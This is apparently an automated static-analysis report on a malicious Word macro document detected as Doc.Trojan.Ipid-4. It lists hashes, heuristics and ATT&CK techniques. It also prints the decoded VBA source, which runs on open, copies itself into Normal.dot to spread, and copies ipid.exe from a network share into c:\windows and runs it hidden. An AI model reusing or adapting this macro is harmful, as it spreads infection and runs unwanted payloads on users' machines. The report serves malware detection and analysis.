Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 a189e9211cddd938…

MALICIOUS

Office (OLE)

45.0 KB Created: 2001-03-28 18:16:00 Authoring application: Microsoft Word 8.0 First seen: 2012-06-14
MD5: dbc9a48bb225600a5aabe37e5058d2da SHA-1: 2fef0314b8a30879d9830075c68ccf17065c8819 SHA-256: a189e9211cddd938895ff9e94933e2d324806cf850021f42bf293e81e07717f6
280 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1204.002 Malicious File T1566.001 Spearphishing Attachment

The sample is a Microsoft Word document containing VBA macros. The 'autoopen' macro is configured to execute a function that attempts to access a network path '\\esm-cpd\e$\ipid.exe'. This strongly suggests the document is designed to download and execute a malicious payload, characteristic of a macro-based malware dropper. The presence of 'Shell()' calls and auto-execution markers further supports this assessment.

Heuristics 7

  • ClamAV: Doc.Trojan.Ipid-4 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Trojan.Ipid-4
  • VBA macros detected medium 4 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Shell() call in VBA critical OLE_VBA_SHELL
    Shell() call in VBA
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • Auto_Close macro high OLE_VBA_AUTOCLOSE
    Auto_Close macro
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 5451 bytes
SHA-256: e1814d09d1001a8b9f3c174b4fe8669db4521fa9d5c9b678541ad9d4c1b54fb9
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "0{00020906-0000-0000-C000-000000000046}"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Attribute VB_Name = "a"
Sub autoopen()
main
End Sub
Function main()
On Error Resume Next 'teste.doc local
w1 = Application.VBE.Windows.Count
For i = 1 To w1
Application.VBE.Windows(i).Visible = True
Next
i = 0
For Each bar In Application.VBE.CommandBars
i = i + 1
Application.VBE.CommandBars(i).Protection = msoBarNoCustomize
Application.VBE.CommandBars(i).Enabled = True
Next
FindKey(KeyCode:=BuildKeyCode(wdKeyAlt, wdKeyF11)).Disable
Options.VirusProtection = True
CommandBars(33).Controls("exibir").Controls("barras de ferramentas").Enabled = True
CommandBars(33).Controls("Ferramentas").Controls("opções...").Enabled = True
CommandBars(33).Controls("Ferramentas").Controls("personalizar...").Enabled = True
CommandBars(33).Controls("Ferramentas").Controls("Macro").Controls("macros...").Enabled = True
CommandBars(33).Controls("Ferramentas").Controls("Macro").Controls("Editor do Visual Basic").Enabled = True
CommandBars(33).Controls("Ferramentas").Controls("Macro").Enabled = True
i = 0
For Each bar In CommandBars
i = i + 1
If (bar.NameLocal = "Barra de menus") Or (bar.NameLocal = "Padrão") Or (bar.NameLocal = "Formatação") Then
CommandBars(i).Protection = msoBarNoCustomize
Else
CommandBars(i).Enabled = True
End If
Next
c1 = Documents.Count
If c1 >= 1 Then
   e1 = ActiveDocument.VBProject.VBComponents.Count
   p1 = "\\esm-cpd\e$\ipid.exe"
   If e1 >= 1 Then
      e2 = ActiveDocument.VBProject.VBComponents(1).Name
      If e1 >= 2 Then
          e3 = ActiveDocument.VBProject.VBComponents(2).Name
          c2 = MacroContainer
          If c2 = ActiveDocument.Name Then
             d1 = ActiveDocument.FullName
             d2 = ActiveDocument.AttachedTemplate.FullName
             e5 = NormalTemplate.VBProject.VBComponents.Count
             If e5 >= 1 Then
                  e6 = NormalTemplate.VBProject.VBComponents(1).Name
                  If e5 >= 2 Then
                         e7 = NormalTemplate.VBProject.VBComponents(2).Name
                         'Application.OrganizerRename d2, e7, "b", wdOrganizerObjectProjectItems
                         If e7 < e3 Then copyme
                         If e7 > e3 Then copyma
                         If e7 = e3 Then copyi
                  End If 'rodando no ativo sem modulo no normal
                        d2 = ActiveDocument.AttachedTemplate.FullName
                        Application.OrganizerCopy d1, d2, e3, wdOrganizerObjectProjectItems
                        Application.NormalTemplate.Save
                        FileCopy p1, "c:\windows\ipid.exe"
                        Shell "c:\windows\ipid.exe", 0
                        End
              End If
           End If 'rodando no normal.dot
            d1 = ActiveDocument.FullName
            d2 = NormalTemplate.FullName
            e7 = NormalTemplate.VBProject.VBComponents(2).Name
            Application.OrganizerDelete d1, e3, wdOrganizerObjectProjectItems
            Application.OrganizerCopy d2, d1, e7, wdOrganizerObjectProjectItems
            Application.ActiveDocument.Save
            FileCopy p1, "c:\windows\ipid.exe"
            Shell "c:\windows\ipid.exe", 0
            End
       End If 'rodando no normal sem modulo no proj
          d1 = ActiveDocument.FullName
          d2 = NormalTemplate.FullName
          e7 = NormalTemplate.VBProject.VBComponents(2).Name
          Application.OrganizerCopy d2, d1, e7, wdOrganizerObjectProjectItems
          Application.ActiveDocument.Save
          FileCopy p1, "c:\windows\ipid.exe"
          Shell "c:\windows\ipid.exe", 0
          End
End If
End If
End Function

Function copyi()
e2 = ActiveDocument.VBProject.VBComponents(1).Name
e3 = ActiveDocument.VBProject.VBComponents(2).Name
c2 = MacroContainer
d1 = ActiveDocument.FullNam
... (truncated)